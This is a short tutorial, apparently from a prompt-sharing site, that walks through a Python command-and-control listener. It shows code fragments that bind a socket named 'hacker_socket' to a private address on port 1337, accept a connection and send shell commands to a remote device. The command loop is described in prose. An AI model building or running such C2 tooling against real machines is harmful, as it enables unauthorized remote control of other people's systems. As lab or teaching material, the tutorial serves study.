Example of Creating a C2 Using Python

Let's create a Python script that sets up a listener to communicate with a remote device. The listener waits for a connection, then allows the user to send commands to the remote device. 🤖 Checkout this prompt in ChatGPT

Here's a breakdown of the code:

Importing Required Module:
```
import socket
```
The script imports the socket module, which provides a way for Python to interact with network sockets.
Identifier Constant:
```
IDENTIFIER = "<END_OF_COMMAND_RESULT>"
```
This string serves as an identifier to determine the end of a command result.
Main Script Execution: The script uses an if __name__ == "__main__": block to ensure that the code inside it only runs if the script is executed directly (and not imported as a module).
Setting Up the Socket:
```
hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```
A new TCP socket (SOCK_STREAM) is created for IPv4 communication (AF_INET).
Socket Address Configuration:
```
IP = "10.6.6.88"
Port = 1337
socket_address = (IP, Port)
```
The IP address and port for the listener are defined.
Binding and Listening:
```
hacker_socket.bind(socket_address)
hacker_socket.listen(5)
print("listening for incoming connection requests")
```
The socket is bound to the specified IP address and port, and it starts listening for incoming connections with a backlog of 5.

Accepting Connections:

hacker_socket, client_address = hacker_socket.accept()
print("connection established with ", client_address)

The script waits for a connection. When one is established, it prints the client's address.

Command Loop: The main loop of the script lets the user input commands to send to the connected device:
If the command is "stop", the socket closes and the script ends.
If the command is empty, the loop continues without sending anything.
If the command starts with "cd", it sends the command and moves to the next iteration.
For other commands, it sends the command and waits for a response. The response is received in chunks and the loop continues until the IDENTIFIER is found.
Exception Handling: If any exception occurs during command execution or communication, the script prints "Exception occurred" and closes the socket.